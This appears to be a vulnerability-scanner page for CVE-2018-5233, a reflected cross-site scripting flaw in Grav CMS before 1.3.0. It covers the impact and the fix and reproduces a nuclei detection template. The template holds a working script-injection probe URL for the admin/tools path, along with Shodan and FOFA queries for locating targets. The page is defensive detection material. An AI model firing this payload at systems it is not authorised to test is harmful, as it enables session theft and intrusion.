CVE-2018-5233· getgrav / grav cms· CWE-79
Grav CMS <1.3.0 - Cross-Site Scripting
mediumseverity
6.1CVSS score
3.7%likelihood of exploitation, next 30 days
90%of all CVEs are less likely
Readycheck to confirm it
Grav CMS before 1.3.0 is vulnerable to cross-site scripting via system/src/Grav/Common/Twig/Twig.php and allows remote attackers to inject arbitrary web script or HTML via the PATH_INFO to admin/tools.
Impact
Attackers can execute arbitrary JavaScript in victims' browsers, potentially stealing session cookies, administrative credentials, or performing actions on behalf of authenticated users.
Fix
Upgrade Grav CMS to version 1.3.0 or later, which includes proper input sanitization to mitigate the XSS vulnerability.
How to confirm it
Send: GET {{BaseURL}}/admin/tools/a--%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
Positive when: contains "</script><script>alert(document.domain)</script>" AND contains "/themes/grav" or "Grav Admin Login" or "data-grav-" AND contains in header "text/html" AND status 200Run it with nuclei: nuclei -id CVE-2018-5233 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2018-5233
info:
name: Grav CMS <1.3.0 - Cross-Site Scripting
author: pikpikcu
severity: medium
description: |
Grav CMS before 1.3.0 is vulnerable to cross-site scripting via system/src/Grav/Common/Twig/Twig.php and allows remote attackers to inject arbitrary web script or HTML via the PATH_INFO to admin/tools.
impact: |
Attackers can execute arbitrary JavaScript in victims' browsers, potentially stealing session cookies, administrative credentials, or performing actions on behalf of authenticated users.
remediation: |
Upgrade Grav CMS to version 1.3.0 or later, which includes proper input sanitization to mitigate the XSS vulnerability.
reference:
- https://sysdream.com/news/lab/2018-03-15-cve-2018-5233-grav-cms-admin-plugin-reflected-cross-site-scripting-xss-vulnerability/
- http://www.openwall.com/lists/oss-security/2018/03/15/1
- https://nvd.nist.gov/vuln/detail/CVE-2018-5233
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2018-5233
cwe-id: CWE-79
epss-score: 0.03655
epss-percentile: 0.89707
cpe: cpe:2.3:a:getgrav:grav_cms:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: getgrav
product: grav_cms
shodan-query:
- html:"Grav CMS"
- http.html:"grav cms"
fofa-query: body="grav cms"
tags: cve,cve2018,xss,grav,getgrav,vuln
http:
- method: GET
path:
- "{{BaseURL}}/admin/tools/a--%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
matchers-condition: and
matchers:
- type: word
part: body
words:
- '</script><script>alert(document.domain)</script>'
- type: word
part: body
words:
- '/themes/grav'
- 'Grav Admin Login'
- 'data-grav-'
condition: or
- type: word
part: header
words:
- text/html
- type: status
status:
- 200References
- https://sysdream.com/news/lab/2018-03-15-cve-2018-5233-grav-cms-admin-plugin-reflected-cross-site-scripting-xss-vulnerability/
- http://www.openwall.com/lists/oss-security/2018/03/15/1
- https://nvd.nist.gov/vuln/detail/CVE-2018-5233
- https://github.com/ARPSyndicate/kenzer-templates
Use this check only on systems you are authorised to test. Where the data comes from